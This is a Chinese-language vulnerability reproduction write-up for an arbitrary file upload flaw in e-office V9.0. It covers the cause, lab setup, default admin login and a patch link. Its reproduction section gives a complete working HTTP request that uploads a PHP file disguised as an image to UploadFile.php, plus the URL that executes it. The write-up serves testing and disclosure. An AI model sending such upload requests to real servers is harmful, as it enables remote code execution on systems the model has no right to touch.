1.漏洞检测脚本
自己写的简单检测脚本,感兴趣可以看看
2.漏洞成因
该漏洞是由于 e-office 未能正确处理上传模块中用户输入导致的,攻击者可以构造恶意的上传数据包,实现任意代码执行。官方对上传文件后缀名进行了白名单校验,如下为官方修复漏洞后的代码片段:
3.影响版本
该漏洞影响版本是 V9.0
4.靶场搭建
自己下载的e-office软件运行就行了
这是安装自己默认的IP地址和端口号
5.漏洞复现
浏览器访问可以看到如下登录页面,默认账号是admin,不需要密码
在登录时候进行抓包和拿到的响应包,需要注意是响应包的PHPSESSID,如果你要写检测脚本这个是要拿到的,不用多说这是身份验证
然后在在登录页面随便点击一下拿到请求包,改造一下请求包如下,看到logo-eoffice.php 就表示上传成功,
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: win-08mtfbul1kp:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://win-08mtfbul1kp:8082/general/index9.php
Cookie: LOGIN_LANG=cn; PHPSESSID=e84040eb45cb321d9806d2e0518c1ba0
Content-Length: 194
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4
--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo();?>
--e64bdf16c554bbc109cecef6451c26a4--
访问如下地址:
http://win-08mtfbul1kp:8082/images/logo/logo-eoffice.php
可以看到代码成功运行。或者你看本地文件夹代码成功上传
6.修复方案
厂商已提供漏洞修补方案,建议用户下载使用:
http://v10.e-office.cn/eoffice9update/safepack.zip